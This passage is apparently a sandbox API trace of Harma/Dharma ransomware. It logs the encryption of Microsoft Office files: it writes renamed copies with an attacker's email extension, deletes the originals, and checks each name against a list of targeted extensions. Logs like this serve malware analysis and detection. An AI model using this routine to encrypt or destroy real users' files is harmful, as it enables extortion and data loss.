[0151.296] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0151.296] lstrlenW (lpString="ENVELOPR.DLL.IDX_DLL") returned 20 [0151.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.297] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=13696) returned 1 [0151.297] CloseHandle (hObject=0x364) returned 1 [0151.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 0x20 [0151.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.297] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.298] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0151.298] GetLastError () returned 0x0 [0151.298] ReadFile (in: hFile=0x364, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x3580, lpOverlapped=0x0) returned 1 [0151.300] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x3590, lpOverlapped=0x0) returned 1 [0151.301] ReadFile (in: hFile=0x364, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0151.301] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfc, lpOverlapped=0x0) returned 1 [0151.301] SetEndOfFile (hFile=0x360) returned 1 [0151.301] CloseHandle (hObject=0x360) returned 1 [0151.301] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.301] SetEndOfFile (hFile=0x364) returned 1 [0151.324] CloseHandle (hObject=0x364) returned 1 [0151.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 1 [0151.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.328] lstrlenW (lpString=".doc") returned 4 [0151.328] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0151.328] lstrlenW (lpString=".docx") returned 5 [0151.328] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0151.328] lstrlenW (lpString=".pdf") returned 4 [0151.328] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0151.328] lstrlenW (lpString=".xls") returned 4 [0151.328] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0151.328] lstrlenW (lpString=".xlsx") returned 5 [0151.328] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0151.328] lstrlenW (lpString=".ppt") returned 4 [0151.328] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.329] lstrlenW (lpString=".zip") returned 4 [0151.329] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0151.329] lstrlenW (lpString=".rar") returned 4 [0151.329] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0151.329] lstrlenW (lpString=".bz2") returned 4 [0151.329] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0151.329] lstrlenW (lpString=".7z") returned 3 [0151.329] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.329] lstrlenW (lpString=".dbf") returned 4 [0151.329] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.329] lstrlenW (lpString=".1cd") returned 4 [0151.329] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.329] lstrlenW (lpString=".jpg") returned 4 [0151.329] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.329] lstrlenW (lpString=".doc") returned 4 [0151.329] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0151.329] lstrlenW (lpString=".docx") returned 5 [0151.329] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0151.329] lstrlenW (lpString=".pdf") returned 4 [0151.329] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0151.329] lstrlenW (lpString=".xls") returned 4 [0151.329] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0151.329] lstrlenW (lpString=".xlsx") returned 5 [0151.330] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0151.330] lstrlenW (lpString=".ppt") returned 4 [0151.330] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.330] lstrlenW (lpString=".zip") returned 4 [0151.330] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0151.330] lstrlenW (lpString=".rar") returned 4 [0151.330] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0151.330] lstrlenW (lpString=".bz2") returned 4 [0151.330] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0151.330] lstrlenW (lpString=".7z") returned 3 [0151.330] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.330] lstrlenW (lpString=".dbf") returned 4 [0151.330] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.330] lstrlenW (lpString=".1cd") returned 4 [0151.330] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0151.330] lstrlenW (lpString=".jpg") returned 4 [0151.330] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0151.330] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0151.330] lstrlenW (lpString="EXCEL.DEV_COL.HXT") returned 17 [0151.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0151.706] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=209) returned 1 [0151.706] CloseHandle (hObject=0x330) returned 1 [0151.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) returned 0x20 [0151.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.746] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.746] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.747] GetLastError () returned 0x0 [0151.747] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xd1, lpOverlapped=0x0) returned 1 [0151.748] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe0, lpOverlapped=0x0) returned 1 [0151.749] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0151.749] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf6, lpOverlapped=0x0) returned 1 [0151.749] SetEndOfFile (hFile=0x370) returned 1 [0151.749] CloseHandle (hObject=0x370) returned 1 [0151.749] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.749] SetEndOfFile (hFile=0x20c) returned 1 [0151.752] CloseHandle (hObject=0x20c) returned 1 [0151.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) returned 1 [0151.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.753] lstrlenW (lpString=".doc") returned 4 [0151.753] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0151.753] lstrlenW (lpString=".docx") returned 5 [0151.753] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0151.753] lstrlenW (lpString=".pdf") returned 4 [0151.753] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0151.753] lstrlenW (lpString=".xls") returned 4 [0151.753] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0151.753] lstrlenW (lpString=".xlsx") returned 5 [0151.753] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0151.753] lstrlenW (lpString=".ppt") returned 4 [0151.753] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0151.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.753] lstrlenW (lpString=".zip") returned 4 [0151.753] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0151.753] lstrlenW (lpString=".rar") returned 4 [0151.753] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0151.753] lstrlenW (lpString=".bz2") returned 4 [0151.753] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0151.753] lstrlenW (lpString=".7z") returned 3 [0151.753] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0151.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.753] lstrlenW (lpString=".dbf") returned 4 [0151.753] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0151.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.753] lstrlenW (lpString=".1cd") returned 4 [0151.754] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0151.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.754] lstrlenW (lpString=".jpg") returned 4 [0151.754] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0151.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.754] lstrlenW (lpString=".doc") returned 4 [0151.754] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0151.754] lstrlenW (lpString=".docx") returned 5 [0151.754] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0151.754] lstrlenW (lpString=".pdf") returned 4 [0151.754] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0151.754] lstrlenW (lpString=".xls") returned 4 [0151.754] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0151.754] lstrlenW (lpString=".xlsx") returned 5 [0151.754] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0151.754] lstrlenW (lpString=".ppt") returned 4 [0151.754] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0151.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.754] lstrlenW (lpString=".zip") returned 4 [0151.754] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0151.754] lstrlenW (lpString=".rar") returned 4 [0151.754] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0151.754] lstrlenW (lpString=".bz2") returned 4 [0151.754] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0151.754] lstrlenW (lpString=".7z") returned 3 [0151.754] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0151.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.754] lstrlenW (lpString=".dbf") returned 4 [0151.755] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0151.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.755] lstrlenW (lpString=".1cd") returned 4 [0151.755] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0151.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0151.755] lstrlenW (lpString=".jpg") returned 4 [0151.755] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0151.755] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0151.755] lstrlenW (lpString="EXCEL.DEV_F_COL.HXK") returned 19 [0151.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.755] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=114) returned 1 [0151.756] CloseHandle (hObject=0x20c) returned 1 [0151.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) returned 0x20 [0151.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.757] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.757] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.757] GetLastError () returned 0x0 [0151.757] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x72, lpOverlapped=0x0) returned 1 [0151.758] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0151.759] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0151.759] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfa, lpOverlapped=0x0) returned 1 [0151.759] SetEndOfFile (hFile=0x370) returned 1 [0151.760] CloseHandle (hObject=0x370) returned 1 [0151.760] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.760] SetEndOfFile (hFile=0x20c) returned 1 [0151.762] CloseHandle (hObject=0x20c) returned 1 [0151.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) returned 1 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.764] lstrlenW (lpString=".doc") returned 4 [0151.764] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0151.764] lstrlenW (lpString=".docx") returned 5 [0151.764] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0151.764] lstrlenW (lpString=".pdf") returned 4 [0151.764] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0151.764] lstrlenW (lpString=".xls") returned 4 [0151.764] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0151.764] lstrlenW (lpString=".xlsx") returned 5 [0151.764] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0151.764] lstrlenW (lpString=".ppt") returned 4 [0151.764] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.764] lstrlenW (lpString=".zip") returned 4 [0151.764] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0151.764] lstrlenW (lpString=".rar") returned 4 [0151.764] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0151.764] lstrlenW (lpString=".bz2") returned 4 [0151.764] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0151.764] lstrlenW (lpString=".7z") returned 3 [0151.764] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.764] lstrlenW (lpString=".dbf") returned 4 [0151.764] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.764] lstrlenW (lpString=".1cd") returned 4 [0151.764] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0151.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.765] lstrlenW (lpString=".jpg") returned 4 [0151.765] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0151.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.765] lstrlenW (lpString=".doc") returned 4 [0151.765] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0151.765] lstrlenW (lpString=".docx") returned 5 [0151.765] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0151.765] lstrlenW (lpString=".pdf") returned 4 [0151.765] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0151.765] lstrlenW (lpString=".xls") returned 4 [0151.765] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0151.765] lstrlenW (lpString=".xlsx") returned 5 [0151.765] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0151.765] lstrlenW (lpString=".ppt") returned 4 [0151.765] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0151.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.765] lstrlenW (lpString=".zip") returned 4 [0151.765] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0151.765] lstrlenW (lpString=".rar") returned 4 [0151.765] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0151.765] lstrlenW (lpString=".bz2") returned 4 [0151.765] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0151.765] lstrlenW (lpString=".7z") returned 3 [0151.765] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0151.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.765] lstrlenW (lpString=".dbf") returned 4 [0151.765] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0151.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.765] lstrlenW (lpString=".1cd") returned 4 [0151.766] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0151.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0151.766] lstrlenW (lpString=".jpg") returned 4 [0151.766] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0151.766] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0151.766] lstrlenW (lpString="EXCEL.DEV_K_COL.HXK") returned 19 [0151.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.766] 